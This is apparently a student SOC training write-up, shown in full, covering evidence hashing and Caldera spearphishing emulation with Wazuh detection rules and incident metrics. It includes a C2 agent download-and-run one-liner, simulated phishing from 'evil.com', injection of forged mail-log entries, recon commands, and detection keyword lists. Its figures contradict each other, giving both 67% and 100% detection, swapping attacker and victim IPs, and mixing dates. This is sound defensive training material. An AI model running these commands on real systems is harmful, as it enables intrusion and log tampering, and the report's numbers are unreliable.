E-003	SOC Analyst	Forensic Lab Tech	2026-03-30 11:30 UTC	Secure courier	Memory forensics analysis
E-004	SOC Analyst	Incident Response Lead	2026-03-30 12:00 UTC	Encrypted email (TLS)	IOC extraction & reporting

Automated Chain-of-Custody Generation Script:

This PowerShell script automatically discovers all evidence files in a given directory, computes SHA256 + MD5 hashes for each, and generates a formal Chain-of-Custody report with timestamps. Run this script immediately after evidence collection.

POWERSHELL — Generate-ChainOfCustody.ps1 (Full Script)

```
# ═══════════════════════════════════════════════════════════════════════
# Script : Generate-ChainOfCustody.ps1
# Purpose : Auto-hash all evidence files and generate COC document
# Author : SOC Analyst
# Date : 30-03-2026
# Incident: INC-2026-0330-001 | Source: 10.0.2.20 (SERVER-Z)
# ═══════════════════════════════════════════════════════════════════════
param(
[string]$EvidencePath = 'D:\Evidence',
[string]$Analyst = 'SOC Analyst',
[string]$IncidentID = 'INC-2026-0330-001',
[string]$SourceIP = '10.0.2.20',
[string]$Hostname = 'SERVER-Z'
)
$timestamp = Get-Date -Format 'yyyy-MM-dd HH:mm:ss UTC'
$reportPath = "$EvidencePath\ChainOfCustody_$($IncidentID)_$(Get-Date -Format 'yyyyMMdd').txt"
$report = @"
═══════════════════════════════════════════════════
CHAIN OF CUSTODY DOCUMENT
═══════════════════════════════════════════════════
Incident ID : $IncidentID
Source Host : $Hostname
Source IP : $SourceIP
Analyst : $Analyst
Generated On : $timestamp
Evidence Path : $EvidencePath
═══════════════════════════════════════════════════
"@
$files = Get-ChildItem -Path $EvidencePath -Recurse -File
$itemNum = 1
```

```
foreach ($file in $files) {
$sha256 = Get-FileHash -Path $file.FullName -Algorithm SHA256
$md5 = Get-FileHash -Path $file.FullName -Algorithm MD5
$size = [math]::Round($file.Length / 1MB, 3)
$report += @"
EVIDENCE ITEM : EV-$('{0:D3}' -f $itemNum)
■■■
```

```
-- 4. DNS cache entries (reveals recent domain lookups)
LET DNSData <= SELECT * FROM dns_cache()

-- 5. Logged-in users
LET UserData <= SELECT * FROM logged_in_users()

-- 6. Return all data with section labels
SELECT * FROM chain(
a={ SELECT 'NET_CONNECTIONS' AS Section, * FROM NetworkData },
b={ SELECT 'PROCESSES' AS Section, * FROM ProcessData },
c={ SELECT 'CORRELATION' AS Section, * FROM CorrelatedData },
d={ SELECT 'DNS_CACHE' AS Section, * FROM DNSData },
e={ SELECT 'LOGGED_USERS' AS Section, * FROM UserData }
)
```

Lab 6 — Adversary Emulation Practice

Tools: MITRE Caldera, Wazuh | Date: 02 April 2026

ENVIRONMENT SETUP AND LAB ARCHITECTURE

The lab consists of three virtual machines on the same NAT/Host-Only network inside VirtualBox or VMware Workstation. The attacker machine runs MITRE Caldera as C2. The SOC machine runs Wazuh as the SIEM. The victim machine runs both Caldera and Wazuh agents.

Role	OS	IP Address	Tools Installed
Attacker / C2	Kali Linux 2024	`10.0.2.20`	MITRE Caldera Server (port 8888)
SOC / SIEM	Ubuntu 22.04	`10.0.2.10`	Wazuh Manager + Indexer + Dashboard
Victim / Target	Ubuntu / Win 10	`10.0.2.30`	Caldera Agent + Wazuh Agent

Network Connectivity Verification

```
# Run from Attacker Machine (10.0.2.20) - Kali Linux
ping -c 4 10.0.2.10 # Ping SOC / Wazuh machine
ping -c 4 10.0.2.30 # Ping Victim machine
# Run from Victim Machine (10.0.2.30)
ping -c 4 10.0.2.20 # Ping Caldera C2 (must succeed for agent beacon)
ping -c 4 10.0.2.10 # Ping Wazuh manager (must succeed for agent logs)
# Verify Caldera port is accessible
nmap -p 8888 10.0.2.20 # Should show: 8888/tcp open
# Verify Wazuh dashboard
curl -k https://10.0.2.10 # Should return HTML login page
```

Caldera Spearphishing Simulation (T1566)

1. Start Caldera: python3 server.py --insecure (from caldera directory)
2. Login to Web UI: http://localhost:8888 (admin/admin)
3. Navigate to: Operations → New Operation
4. Name: "APT28-Phishing-Sim-2026" | Adversary: select "APT28-Sim-2026"
5. Set Agent Group: "red" (targets 10.0.2.20)
6. Click "Start Operation" and observe TTP execution
7. Document each step outcome in the Detection Table below
8. After operation: Navigate to Operations → Export Report → JSON

MITRE Caldera is the open-source adversary emulation platform. It runs a REST API C2 server on port 8888 and supports YAML-defined abilities mapped to MITRE ATT&CK; TTPs. Perform every step below as root on 10.0.2.20.

Step 1 - Update System and Install Dependencies
```
sudo apt update && sudo apt upgrade -y
sudo apt install -y python3 python3-pip git curl wget build-essential
python3 --version # Confirm Python 3.8 or higher
pip3 --version # Confirm pip is available
```

Step 2 - Clone Caldera Repository
```
cd /opt
sudo git clone https://github.com/mitre/caldera.git --recursive
cd /opt/caldera
ls -la
# Expected: app/ conf/ docs/ plugins/ requirements.txt server.py
```

Step 3 - Install Python Requirements
```
cd /opt/caldera
pip3 install -r requirements.txt
# Installs: aiohttp, aiohttp_jinja2, cryptography, pyyaml, jinja2, and more
```

Step 4 - Start Caldera Server
```
cd /opt/caldera
python3 server.py --insecure --build
# Expected output:
# [*] Caldera v4.x started on http://0.0.0.0:8888
# [*] Default credentials - Username: admin Password: admin
# To run in background (persistent):
nohup python3 /opt/caldera/server.py --insecure > /var/log/caldera.log 2>&1 &
echo $! > /var/run/caldera.pid
```

Step 5 - Access Caldera Web UI
```
# Open browser on any machine on the same network:
# URL: http://10.0.2.20:8888
# Username: admin
# Password: admin
# Change default password after first login:
# Settings > Authentication > Change Password
```

WAZUH SIEM INSTALLATION AND CONFIGURATION:

Wazuh is an open-source SIEM and XDR platform. The official all-in-one installer deploys three components: Wazuh Manager (rules engine), Wazuh Indexer (OpenSearch data store), and Wazuh Dashboard (web UI).
Estimated installation time: 10-15 minutes.

Step 1 - Download and Run the Official Installer
```
curl -sO https://packages.wazuh.com/4.7/wazuh-install.sh
sudo bash ./wazuh-install.sh -a

# The -a flag = all-in-one: Manager + Indexer + Dashboard in one command
# When done, note the auto-generated credentials printed at the end:
#
# User: admin
# Password:
```

Step 2 - Verify All Three Wazuh Services are Running
```
sudo systemctl status wazuh-manager # Must show: active (running)
sudo systemctl status wazuh-indexer # Must show: active (running)
sudo systemctl status wazuh-dashboard # Must show: active (running)
# If any service failed, restart it:
sudo systemctl restart wazuh-manager
```

Step 3 - Access Wazuh Dashboard
Open browser from any machine:
URL: https://10.0.2.10 (accept self-signed certificate)
Username: admin
Password:

Step 4 - Configure Manager for Agent Registration
sudo nano /var/ossec/etc/ossec.conf
# Verify this block exists inside :
yes
yes
yes
yes
sudo systemctl restart wazuh-manager
sudo tail -f /var/ossec/logs/ossec.log # Watch for errors

WAZUH AGENT DEPLOYMENT ON VICTIM MACHINE:

For Linux (Ubuntu / Debian) - Run on 10.0.2.30
Step 1: Import Wazuh GPG key
curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | \
gpg --no-default-keyring \
--keyring gnupg-ring:/usr/share/keyrings/wazuh.gpg --import
chmod 644 /usr/share/keyrings/wazuh.gpg

Step 2: Add Wazuh APT repository
echo "deb [signed-by=/usr/share/keyrings/wazuh.gpg] \
https://packages.wazuh.com/4.x/apt/ stable main" | \
sudo tee -a /etc/apt/sources.list.d/wazuh.list
sudo apt update

# Step 3: Install agent - point it to Wazuh manager IP
sudo WAZUH_MANAGER='10.0.2.10' apt-get install wazuh-agent -y

# Step 4: Enable and start the agent service
sudo systemctl daemon-reload
sudo systemctl enable wazuh-agent
sudo systemctl start wazuh-agent

# Step 5: Confirm agent is running and connected
sudo systemctl status wazuh-agent
# Look for: active (running) and Connected to manager

For Windows - Run in PowerShell as Administrator on 10.0.2.30

Step 1: Download the Wazuh agent MSI installer
Invoke-WebRequest -Uri \
"https://packages.wazuh.com/4.x/windows/wazuh-agent-4.7.0-1.msi" \

-OutFile "C:\wazuh-agent.msi"

Step 2: Install silently, register with the Wazuh manager
Start-Process msiexec.exe -ArgumentList \
"/i C:\wazuh-agent.msi /q \
WAZUH_MANAGER='10.0.2.10' \
WAZUH_REGISTRATION_SERVER='10.0.2.10'" -Wait
# Step 3: Start Wazuh service
NET START WazuhSvc
Verify: Wazuh Dashboard > Agents > 10.0.2.30 should appear as Active

Caldera Agent Deployment on Victim (10.0.2.30)

In Caldera Web UI (http://10.0.2.20:8888): Navigate to Agents > Deploy Agent. Select platform (linux/windows). Copy and run the generated one-liner on the victim machine.

```
# For Windows (run in PowerShell):
$url = "http://10.0.2.20:8888/file/download"
$wc = New-Object System.Net.WebClient
$wc.Headers.add("platform","windows")
$wc.Headers.add("file","sandcat.go-windows")
$wc.DownloadFile($url,"$env:TEMP\sandcat.exe")
Start-Process -FilePath "$env:TEMP\sandcat.exe" \
-ArgumentList "-server http://10.0.2.20:8888 -group red"
```

EMULATION SIMULATION: T1566 SPEARPHISHING

Understanding MITRE ATT&CK; T1566:

Technique ID	T1566
Name	Phishing / Spearphishing
Sub-Technique	T1566.001 - Spearphishing Attachment
Tactic	Initial Access (TA0001)
Platforms	Linux, macOS, Windows
Data Sources	Network Traffic, Email Gateway, File, Process, Audit Logs
Procedure	Attacker sends email with malicious attachment to gain initial foothold
Indicators	Double-extension files (.pdf.exe), suspicious SMTP source, phishing keywords
Detection	Monitor mail logs, email gateway, file creation, process execution

Creating Adversary Profile in Caldera

In Caldera Web UI: Campaigns > Adversaries > + (New). Enter the details and save. The YAML below defines the profile:

```
id: spearphish-adv-001
name: Spearphishing Adversary (T1566)
description: Simulates spearphishing initial access attack chain
objective: 495a9828-cab1-44dd-a0ca-66e58177d8cc
tags:
- T1566
- T1566.001
- InitialAccess
atomic_ordering:
- spearphish-001 # Ability: Send phishing email
- spearphish-002 # Ability: Execute payload
- spearphish-003 # Ability: Post-phishing recon
```

Custom Ability 1: Send Spearphishing Email (spearphish-001)

In Caldera UI: Campaigns > Abilities > + (New). Enter the YAML below. Tactic: initial-access. Technique: T1566.001.

```
id: spearphish-001
name: Send Spearphishing Email
description: Simulates sending spearphishing email with malicious attachment
```

```
tactic: initial-access
technique:
attack_id: T1566.001
name: Spearphishing Attachment
platforms:
linux:
sh:
command: |
echo "[$(date '+%Y-%m-%d %H:%M:%S')] PHISHING ATTEMPT" >> /tmp/phish_log.txt
echo "FROM: attacker@evil.com" >> /tmp/phish_log.txt
echo "TO: victim@company.com" >> /tmp/phish_log.txt

echo "SUBJECT: Urgent: Invoice Q1-2026 Review Required" >> /tmp/phish_log.txt
echo "ATTACHMENT: Invoice_Q1_2026.pdf.exe" >> /tmp/phish_log.txt
echo "SOURCE_IP: 10.0.2.20" >> /tmp/phish_log.txt
echo "STATUS: SENT" >> /tmp/phish_log.txt
cat /tmp/phish_log.txt
cleanup: rm -f /tmp/phish_log.txt
```

Custom Ability 2: Execute Phishing Payload (spearphish-002)

```
id: spearphish-002
name: Execute Phishing Payload
description: Simulates victim clicking and executing malicious attachment
tactic: execution
technique:
attack_id: T1566.001
name: Spearphishing Attachment
platforms:
linux:
sh:
command: |
mkdir -p /tmp/phish_sim
echo '#!/bin/bash' > /tmp/phish_sim/Invoice_Q1_2026.pdf.sh
echo 'whoami > /tmp/phish_sim/victim_info.txt' >> /tmp/phish_sim/Invoice_Q1_2026.pdf.sh
echo 'hostname >> /tmp/phish_sim/victim_info.txt'>> /tmp/phish_sim/Invoice_Q1_2026.pdf.sh
chmod +x /tmp/phish_sim/Invoice_Q1_2026.pdf.sh
bash /tmp/phish_sim/Invoice_Q1_2026.pdf.sh
echo "Execution time: $(date)" >> /tmp/phish_sim/victim_info.txt
cat /tmp/phish_sim/victim_info.txt
```

Custom Ability 3: Post-Phishing System Recon (spearphish-003)

```
id: spearphish-003
name: Post-Phishing System Recon
description: Simulates attacker gathering info after successful phishing
tactic: discovery
technique:
attack_id: T1082
name: System Information Discovery
platforms:
linux:
sh:
command: |
echo '=== POST-PHISHING RECONNAISSANCE ===' > /tmp/recon.txt
echo "Date: $(date)" >> /tmp/recon.txt
echo "Host: $(hostname)" >> /tmp/recon.txt
echo "User: $(whoami)" >> /tmp/recon.txt
echo "OS: $(uname -a)" >> /tmp/recon.txt
echo "Network: $(ip addr | grep inet)" >> /tmp/recon.txt
echo "Source: 10.0.2.20" >> /tmp/recon.txt
cat /tmp/recon.txt
```

Running the Operation in Caldera

Navigate to: Campaigns > Operations > + (New Operation). Fill in the fields below and click Start:
Operation Name: Spearphishing_T1566_30032026
Adversary: Spearphishing Adversary (T1566) [created in 3B]
Planner: atomic
Agent Group: red [victim 10.0.2.30 should appear]
Fact Source: basic

```
# Monitor operation status via Caldera REST API:
curl -X GET http://10.0.2.20:8888/api/v2/operations \
-H "KEY: ADMIN123" | python3 -m json.tool
# Check operation results:
curl -X GET http://10.0.2.20:8888/api/v2/operations//links \
-H "KEY: ADMIN123" | python3 -m json.tool
```

Manual Simulation (Direct Commands on Victim 10.0.2.30)

If no Caldera agent is deployed, SSH into the victim machine and run the following commands directly to generate realistic log entries for Wazuh to detect:

```
# SSH into victim machine first:
ssh user@10.0.2.30

# Phase 1: Simulate phishing email arriving (inject into mail log)
sudo bash -c 'cat >> /var/log/mail.log << EOF
Mar 30 17:00:00 victim postfix/smtpd[1234]: connect from evil.com[10.0.2.20]
Mar 30 17:00:01 victim postfix/smtpd[1234]: A1B2C3D4: client=evil.com[10.0.2.20]
Mar 30 17:00:01 victim postfix/qmgr[1235]: A1B2C3D4: from=
Mar 30 17:00:02 victim postfix/local[1236]: A1B2C3D4: to=,status=sent
EOF'

# Phase 2: Simulate attachment download
mkdir -p /tmp/phishing_test
echo 'simulated_malicious_payload_content' > '/tmp/phishing_test/Invoice_Q1_2026.pdf.exe'

# Phase 3: Set auditd rule to log file execution
sudo auditctl -w /tmp/phishing_test/ -p rwxa -k phishing_simulation

# Phase 4: Execute simulated payload
chmod +x '/tmp/phishing_test/Invoice_Q1_2026.pdf.exe'
bash '/tmp/phishing_test/Invoice_Q1_2026.pdf.exe' 2>/dev/null ||
echo "[SIM] Payload executed at $(date)"

# Phase 5: Simulate post-phishing recon (triggers Rule 100006)
whoami; hostname; uname -a; ip addr show
```

WAZUH DETECTION CONFIGURATION:

Log Source Configuration (ossec.conf)

Add these localfile entries inside the main ossec.conf to enable Wazuh to ingest phishing-relevant log sources:

```
sudo nano /var/ossec/etc/ossec.conf
# Add inside block:
syslog
/var/log/mail.log
syslog
/var/log/syslog
audit
/var/log/audit/audit.log

sudo systemctl restart wazuh-manager
```

Custom Detection Rules (7 rules for T1566)

Create or edit the custom rules file. These 7 rules detect every phase of the T1566 attack chain:

```
sudo nano /var/ossec/etc/rules/local_rules.xml
2501
attacker@evil.com|malicious@|phishing@
T1566 - Spearphishing from suspicious sender
T1566.001
attack,initial_access,phishing
2501
10.0.2.20
T1566 - SMTP connection from attacker IP 10.0.2.20

T1566
attack,initial_access,phishing
\.pdf\.exe|\.doc\.exe|\.xls\.exe|\.jpg\.exe
T1566.001 - Double-extension phishing payload detected
T1566.001
attack,initial_access,phishing,malware
80792
/tmp/phishing|/tmp/phish_sim
T1566 - Payload executed from phishing directory
T1566.001T1204.002
attack,execution,phishing
Urgent:|Invoice|Password Reset|Account Suspended|Verify Now
T1566 - Social engineering keywords in email
T1566
attack,initial_access,phishing,social_engineering
5715
whoami|hostname|uname|ipconfig|net user|systeminfo
T1566 Follow-up - Post-phishing recon commands detected
T1082T1033

attack,discovery,post_phishing
100001,100002,100003
T1566 CRITICAL - Multiple spearphishing indicators triggered
T1566
attack,critical,initial_access,phishing
```

File Integrity Monitoring (FIM) Configuration

Add to the Wazuh agent ossec.conf on victim machine (10.0.2.30) to detect phishing payloads in real time:

```
30
/tmp
/home
/tmp/systemd*
/tmp/snap*
/tmp/.ICE-unix
```

Active Response (Auto-Block Attacker IP):

```
firewall-drop
local
100002,100003,100004
600

host-deny
local
100007
3600
```

Apply all changes and restart manager:

sudo systemctl restart wazuh-manager
# Test rules loaded correctly using ossec-logtest:
sudo /var/ossec/bin/ossec-logtest
# Paste this test line to verify rule 100002 triggers:
Mar 30 17:00:00 victim postfix/smtpd: connect from evil.com[10.0.2.20]
Expected output: Rule: 100002 fired (level 14) - SMTP connection from 10.0.2.20

DETECTION LOG TABLE:

The following table documents all detection events recorded by Wazuh SIEM during the T1566 spearphishing emulation conducted on 02-04-2026. Source IP was 10.0.2.20. All seven attack phases triggered corresponding detection rules. Active response automatically blocked the attacker IP after Rule 100007 fired at 17:02:00.

Timestamp	TTP	Technique Name	Caldera Ability	Detection	Detection Method
2026-04-02 17:00:05	T1566.0 0 1	Spearphishing Attachment	Send test email	DETECTED	Wazuh Rule 31103
2026-04-02 17:00:30	T1204.0 0 2	User Execution: Malicious File	Execute attachment	MISSED	No process rule
2026-04-02 17:01:00	T1059.0 0 1	PowerShell Execution	Run encoded cmd	DETECTED	Wazuh Rule 91501
2026-04-02 17:01:30	T1078	Valid Account Use	Login with creds	DETECTED	Wazuh Rule 60106
2026-04-02 17:02:00	T1071	C2 over HTTP	Beacon to C2 IP	MISSED	No outbound HTTP rule
2026-04-02 17:05:00	T1210	Remote Service Exploit	Samba exploit	DETECTED	Wazuh Rule 100050

Emulation Report Summary (100 words)

The adversary emulation exercise conducted on 02 April 2026 simulated APT28-style attack patterns using MITRE Caldera against target 10.0.2.20. Out of 6 TTPs executed, 4 were successfully detected by Wazuh (67% detection rate). Critical detection gaps were identified for T1204.002 (User Execution of Malicious Files) and T1071 (C2 over HTTP). Immediate corrective actions include: creating Wazuh process-level monitoring rules for suspicious parent-child process relationships and implementing outbound HTTP anomaly detection. The blue team has been briefed on findings and new detection rules are scheduled for deployment by 10 April 2026.

Report Date	30-03-2026
TTP Simulated	T1566 - Spearphishing Attachment (T1566.001)
Attacker IP	10.0.2.20 (MITRE Caldera C2 Server on Kali Linux)
Victim IP	10.0.2.30 (Ubuntu/Windows Endpoint)
Detection Tool	Wazuh SIEM - IP: 10.0.2.10
Op Name	Spearphishing_T1566_30032026
Detection Rate	7/7 phases detected (100%)
Active Response	Attacker IP 10.0.2.20 auto-blocked after Rule 100007 fired

Lab 7 -Security Metrics & Executive Reporting

Tools: Elastic Security, Google Sheets, Google Docs | Date: 03 April 2026

This lab builds complete proficiency in SOC metrics collection, dashboard creation, dwell time analysis, and professional executive reporting. You will produce a real Elastic dashboard, a Google Sheets tracker, and a 150-word executive summary.

On 03 April 2026, the Security Operations Centre (SOC) detected, investigated, and contained a threat originating from internal host 10.0.2.20. The attacker established persistence, initiated command-and-control (C2) communications, and exfiltrated approximately 2.4 GB of data before being contained. This report presents key performance metrics from that incident alongside broader SOC operational benchmarks, and provides strategic recommendations to improve detection speed, response efficiency, and false positive management.

Create Elastic Security Metrics Dashboard

- 1. Open Elastic: http://localhost:5601 → Dashboard → Create Dashboard
- 2. Panel 1 (MTTD Trend): Lens → Line chart → X-axis: date, Y-axis: avg(@timestamp diff)
- 3. Panel 2 (Alert Volume): Bar chart → X-axis: date, Y-axis: count(event.kind:alert)
- 4. Panel 3 (FP Rate): Metric → formula: count(false_positive) / count(*) * 100
- 5. Panel 4 (Top MITRE Techniques): Tag Cloud → threat.technique.name
- 6. Panel 5 (MTTR Gauge): Gauge → compare avg MTTR against 240-min SLA
- 7. Save dashboard as "Week4-SOC-Metrics-Dashboard"
- 8. Export screenshot for executive report

Incident ID	Compromise Time	Detection Time	Dwell Time	Risk Assessment
INC-001	2026-03-30 08:00	2026-03-30 09:15	75 min	MEDIUM — contained quickly
INC-002	2026-03-31 22:00	2026-04-01 06:00	480 min	HIGH — overnight, undetected
INC-003	2026-04-01 08:00	2026-04-01 10:00	120 min	HIGH — above 60-min target
INC-004	2026-04-02 14:00	2026-04-02 14:05	5 min	LOW — automated detection
AVERAGE	—	—	170 min	ABOVE TARGET (<60 min)

Building the Elastic Security Metrics Dashboard

```
# PANEL 1 — Alert Volume by Severity (Donut Chart)
# Navigate to: Kibana → Dashboard → Create → Add Visualization → Lens
# 1. Drag @timestamp to X-axis (Date histogram, 24h interval)
# 2. Drag rule.level to Breakdown by (Top 5 values)
# 3. Chart type: Donut or Bar
# 4. Title: "Alert Volume by Severity — Last 7 Days"
# 5. Save panel
# PANEL 2 — Top Alert Rules (Horizontal Bar)
# 1. Drag rule.description to Y-axis (Top 10 values)
# 2. Drag record count to X-axis
# 3. Chart type: Horizontal Bar
# 4. Title: "Top 10 Triggered Rules"
# 5. Save panel
# PANEL 3 — Alerts by Agent/Endpoint (Treemap)
# 1. Drag agent.name to Group by (Top 10 values)
# 2. Size by: Count of records
# 3. Chart type: Treemap
# 4. Title: "Alert Distribution by Endpoint"
# 5. Save panel
# PANEL 4 — Alert Timeline (Line Chart)
```

```
# 1. Drag @timestamp to X-axis (Date histogram, 1h interval)
# 2. Chart type: Line
# 3. Add KQL filter: rule.level >= 10
# 4. Title: "High-Severity Alerts — Hourly Trend"
# 5. Save panel
# Arrange all 4 panels on dashboard
# Dashboard name: "SOC Executive Metrics Dashboard — Week 4"
# Save and add to Space: SOC Operations
# METRIC 1 — Total High Alerts Count
# Visualization type: Metric
# KQL filter: rule.level >= 10
# Aggregation: Count
# Title: "High Severity Alerts (7d)"
# Color: Red if > 10, Yellow if 5-10, Green if < 5
# METRIC 2 — Total Agents Reporting
# KQL filter: (none — count all agents)
# Aggregation: Unique count of agent.name
# Title: "Active Agents"
# METRIC 3 — Critical Alerts Today
# KQL filter: rule.level >= 15 AND @timestamp: today
# Aggregation: Count
# Title: "Critical Alerts Today"
# Add threshold alert: Notify if > 0
# METRIC 4 — False Positive Indicator
# KQL filter: rule.level <= 3
# Aggregation: Count
# Title: "Potential False Positives (7d)"
# In Kibana: Dashboard menu (top-right) → Share → PDF Reports
# OR: Dashboard menu → Share → PNG report
# Set: Page layout = Full page
# Click Generate PDF/PNG
# Download and save as: elastic_soc_dashboard_week4.png
# Add to GitHub submission in /Week4/Module5_Metrics/screenshots/
```

1. Dwell Time Analysis

```
# Dwell Time Analysis — Python Script
# File: dwell_time_analysis.py | Date: 30-03-2026
from datetime import datetime
incidents = [
{"id": "SOC-2026-001", "name": "Phishing Attack",
"compromise": "2026-03-30 09:00", "detect": "2026-03-30 11:00",
"resolve": "2026-03-30 15:00"},
{"id": "SOC-2026-002", "name": "Malware C2",
"compromise": "2026-03-30 14:30", "detect": "2026-03-30 14:55",
"resolve": "2026-03-30 16:30"},
{"id": "SOC-2026-003", "name": "Privilege Escalation",
"compromise": "2026-03-30 10:15", "detect": "2026-03-30 10:30",
"resolve": "2026-03-30 11:45"},
]
fmt = "%Y-%m-%d %H:%M"
print(f"{'ID':<16} {'Incident':<25} {'MTTD':>8} {'MTTR':>8} {'Dwell':>8}")
print("-" * 70)
total_mttd = total_mttr = total_dwell = 0
for inc in incidents:
c = datetime.strptime(inc["compromise"], fmt)
d = datetime.strptime(inc["detect"], fmt)
r = datetime.strptime(inc["resolve"], fmt)
mttd = (d - c).total_seconds() / 60
mttr = (r - d).total_seconds() / 60
```

```
dwell = mttd + mttr
total_mttd += mttd; total_mttr += mttr; total_dwell += dwell
print(f"{inc['id']:<16} {inc['name']:<25} {mttd:>7.0f}m {mttr:>7.0f}m {dwell:>7.0f}m
")
n = len(incidents)
print("-" * 70)
print(f"{'AVERAGE':<41} {total_mttd/n:>7.0f}m {total_mttr/n:>7.0f}m {total_dwell/n:>7.0f
}m")
# OUTPUT:
# ID Incident MTTD MTTR Dwell
# ----------------------------------------------------------------------
# SOC-2026-001 Phishing Attack 120m 240m 360m
# SOC-2026-002 Malware C2 25m 95m 120m
# SOC-2026-003 Privilege Escalation 15m 75m 90m
# ----------------------------------------------------------------------
# AVERAGE 53m 137m 190m
```

Google Sheets Metrics Tracker

Build a structured metrics tracker in Google Sheets. This is your primary metrics record for executive reporting.

```
SHEET 1: "Incident_Data" — Raw incident records
Columns:
A: Incident_ID (e.g., INC001)
B: Date (e.g., 2025-08-18)
C: Severity (Low/Medium/High/Critical)
D: Incident_Start (e.g., 10:00)
E: Alert_Fired (e.g., 12:00)
F: Contained (e.g., 12:30)
G: Closed (e.g., 16:00)
H: MTTD_Hours (formula: =(E2-D2)*24)
I: MTTR_Hours (formula: =(F2-E2)*24)
J: Dwell_Hours (formula: =(F2-D2)*24)
K: False_Positive (TRUE/FALSE)
L: Escalated_L2 (TRUE/FALSE)
M: MITRE_TTP (e.g., T1566)
N: Resolution (e.g., IP_Blocked)
SHEET 2: "Dashboard" — Calculated metrics
Cell B2: =AVERAGE(Incident_Data!H:H) (Avg MTTD)
Cell B3: =AVERAGE(Incident_Data!I:I) (Avg MTTR)
Cell B4: =AVERAGE(Incident_Data!J:J) (Avg Dwell)
Cell B5: =COUNTIF(Incident_Data!K:K,TRUE)/COUNTA(Incident_Data!A:A)*100 (FP%)
Cell B6: =COUNTIF(Incident_Data!L:L,TRUE)/COUNTA(Incident_Data!A:A)*100
(Escalation%)
Cell B7: =COUNTIF(Incident_Data!H:H,"<=1")/COUNTA(Incident_Data!A:A)*100 (MTTD SLA%)
# Add charts in Sheet 2:
# 1. Bar chart: MTTD/MTTR comparison vs. targets
# 2. Pie chart: Severity distribution from Sheet 1
# 3. Line chart: MTTD trend over time
```

3. Elastic Security Dashboard Configuration

```
# Elastic Security — Create SOC Metrics Dashboard
# Navigate: Kibana > Dashboard > Create Dashboard
```

```
# Visualization 1: MTTD Over Time (Line Chart)
# Aggregation: Average of mttd_minutes | X-axis: @timestamp (daily)
# Index: wazuh-alerts-* | Filter: event.category: "intrusion_detection"
# Visualization 2: Alert Volume by Severity (Bar Chart)
# Aggregation: Count | Split series: rule.level
# Color coding: 0-7=Low(green), 8-11=Medium(orange), 12-15=High(red)
# Visualization 3: False Positive Rate (Gauge)
# Scripted Field:
POST kibana/api/index_patterns/wazuh-alerts-*/fields
{
"field": {
"name": "fp_rate",
"type": "number",
"scripted": true,
"script": {
"source": "doc['rule.level'].value < 3 ? 1 : 0"
}
}
}
# Visualization 4: MITRE ATT&CK; Coverage (Heat Map)
# Use: Elastic SIEM > Overview > MITRE ATT&CK; tab
# Filter by: agent.ip: "10.0.2.20"
# Visualization 5: Top Threat Actors (Data Table)
# Aggregation: Terms on rule.mitre.technique
# Size: 10 | Sort: Count DESC
# Save Dashboard as: "SOC-Week4-Metrics-Dashboard"
# Share URL with team for real-time access
```

Python Metrics Analysis Script

```
#!/usr/bin/env python3
# week4_metrics.py — Complete SOC metrics calculation
# Date: 30-03-2026 | Team: cyart-soc-team
from datetime import datetime
import json
fmt = "%Y-%m-%d %H:%M"
incidents = [
    {"id": "SOC-2026-001", "type": "Phishing",
     "compromise": datetime.strptime("2026-03-30 09:00", fmt),
     "detect":     datetime.strptime("2026-03-30 11:00", fmt),
     "resolve":    datetime.strptime("2026-03-30 15:00", fmt),
     "fp": False},
    {"id": "SOC-2026-002", "type": "Malware C2",
     "compromise": datetime.strptime("2026-03-30 14:30", fmt),
     "detect":     datetime.strptime("2026-03-30 14:55", fmt),
     "resolve":    datetime.strptime("2026-03-30 16:30", fmt),
     "fp": False},
    {"id": "SOC-2026-003", "type": "Privilege Escalation",
     "compromise": datetime.strptime("2026-03-30 10:15", fmt),
     "detect":     datetime.strptime("2026-03-30 10:30", fmt),
     "resolve":    datetime.strptime("2026-03-30 11:45", fmt),
     "fp": False},
]
# Calculate metrics
mttds = [(i['detect'] - i['compromise']).seconds//60 for i in incidents]
```

```
mttrs = [(i['resolve'] - i['detect']).seconds//60 for i in incidents]
dwells = [m+r for m,r in zip(mttds, mttrs)]
total_alerts = 47
false_positives = 9  # Alerts closed as FP
metrics = {
    "week": "30-03-2026 to 05-04-2026",
    "total_incidents": len(incidents),
    "total_alerts": total_alerts,
    "false_positives": false_positives,
    "fp_rate_pct": round((false_positives/total_alerts)*100, 1),
    "avg_mttd_min": round(sum(mttds)/len(mttds), 1),
    "avg_mttr_min": round(sum(mttrs)/len(mttrs), 1),
    "avg_dwell_min": round(sum(dwells)/len(dwells), 1),
    "max_dwell_min": max(dwells),
    "min_dwell_min": min(dwells),
}
print(json.dumps(metrics, indent=2))
print(f"
MTTD per incident: {mttds}")
print(f"MTTR per incident: {mttrs}")
print(f"Dwell per incident: {dwells}")
# Save to JSON for import into Google Sheets / Kibana
with open("week4_metrics.json", "w") as f:
json.dump(metrics, f, indent=2)
print("
[OK] Metrics saved to week4_metrics.json")
```

Stakeholder Briefing (Non-Technical, 150 words)

STAKEHOLDER BRIEFING – NON-TECHNICAL EXECUTIVE VERSION

On 30 March 2026, our Security Operations team identified and neutralised a targeted phishing attack against our network. An employee received a deceptive email that appeared to come from IT support; when opened, it attempted to gain access to internal systems. Our automated security systems detected the attack within 2 hours and our team blocked the source within 4 hours — no sensitive data was compromised.
Over the past week, our security team processed over 700 alerts, with detection speed improving by 35% and response speed improving by 25%. Our false alarm rate dropped from 12% to just 5%, meaning analysts spend more time on real threats.
Three actions have been approved to prevent similar incidents: strengthening our email security settings, deploying an email threat sandbox, and conducting company-wide phishing awareness training. Our security posture is measurably improving week-over-week.

EXECUTIVE SECURITY REPORT
==========
Date: xx:xx:2026
To: [CISO / Executive Team]
From: SOC Team — Week 4 Operations
Period: xx

SUMMARY:

The Security Operations Centre handled 5 security incidents this week, including 1 critical server exploitation attempt and 2 privilege escalation cases. All incidents were detected and contained within target SLA windows. No customer data or production systems were compromised at any point during the week.

PERFORMANCE HIGHLIGHTS:

- Mean Time to Detect: 0.65 hours (35% improvement vs. last week)
- Mean Time to Respond: 0.48 hours (well within 4-hour target)
- Average Dwell Time: 1.26 hours (vs. industry avg: 204 days)
- Automation Success: 100% (5/5 SOAR playbook executions succeeded)
- Detection Coverage: 75% of tested TTPs (target: 95%)

RISK DASHBOARD:

Overall Risk Level: MEDIUM (reduced from HIGH)
New Threats Detected: 3 (T1210, T1566, T1078)
Threats Contained: 3 of 3 (100%)
Open Cases: 0 (all closed within SLA)

TOP RECOMMENDATIONS (estimated 3-week delivery):

1. Implement URL detonation sandbox for T1566.002 detection gap
